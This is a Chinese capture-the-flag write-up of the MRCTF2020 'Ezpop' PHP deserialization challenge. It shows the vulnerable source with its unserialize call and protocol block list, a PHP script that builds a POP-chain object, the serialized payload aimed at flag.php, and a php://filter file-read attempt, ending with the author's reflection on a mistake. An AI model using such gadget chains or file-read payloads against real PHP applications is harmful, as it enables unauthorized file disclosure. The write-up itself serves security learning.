[MRCTF2020]Ezpop

php 复制代码
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 

Modifier:当该对象被当作函数调用时,能文件包含。

Test:当该对象的不可访问属性被访问时,能调用函数。

Show:反序列化起点

思路:首先通过Show中_tostring return 一个Test对象中不存在属性,从而将Modifier对象当作函数调用,然后包含flag.php文件。不知道include(flag.php)能不能看到源码。

构造playload:

php 复制代码
$a = new Show;
$a->source = new Show;
$a->source->str = new Test;
$b = new Modifier;
$b->var = "flag.php";//需要先修改可见性为public
$a->source->str->p = $b;
echo serialize($a);

O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:3:"var";s:8:"flag.php";}}}s:3:"str";N;}

访问一下果然没有任何回显。那怎么获得flag.php中的内容呢?

难道能利用伪协议?试试看将$b->var改为"php://filter/convert.base64-encode/resource=flag.php"

仍然不行,看一下答案吧...

问题在于我将b中的var变量的可见性由protected改成了public?为什么这样就出现问题了呢,我记得上次一道题目中这样改是没有问题的呀!

唯一的区别就在于上次那道题目改的直接是序列化对象字符串,这道题改的是pop链中的一个对象。

下次做php反序列化题目的时候能不改可见性就不改吧,除非题目将其作为了一个考点那就可以尝试。

相关推荐
hengdonghui10 小时前
Writeup 4 Bugku game1
web·ctf·客户端签名伪造·混淆函数逆向·魔改 base64
hengdonghui2 天前
Writeup 4 备份是个好习惯
web·ctf·备份文件泄露·php 弱类型比较
kingx34 天前
DASCTF 简单的逆向:ZIP 包裹 PE32 的 strncmp 校验分析
静态分析·ctf·逆向工程·pe32
kingx35 天前
DASCTF Word-For-You 留言板 SQL 注入从探测到出 flag
web安全·网络安全·ctf·sql注入·手工注入·留言板·ctf战报
Grassto6 天前
web 服务安全测试(漏洞扫描、渗透测试)深入理解
web·安全测试
爱学习的程序媛12 天前
Python常用框架梳理
开发语言·后端·python·ai·web·后端框架·python框架
print_Hyon13 天前
【CTF-CRYPTO-教学-XOR】第二节:只有密文没有任何线索,暴力破解
ctf
treasure14013 天前
【复古】浅尝Django前后端不分离
前端·css·python·django·bootstrap·html·web
瑞雪兆丰年兮13 天前
JavaWeb-day13-SpringBootWeb事务管理&AOP
java·开发语言·springboot·javaweb·事务·web·aop
kingx315 天前
Bugku 真题 Vigenère XOR(UMDCTF 2022)WriteUp:汉明距离 + 逐列频率破重复密钥 XOR
ctf·bugku·汉明距离·维吉尼亚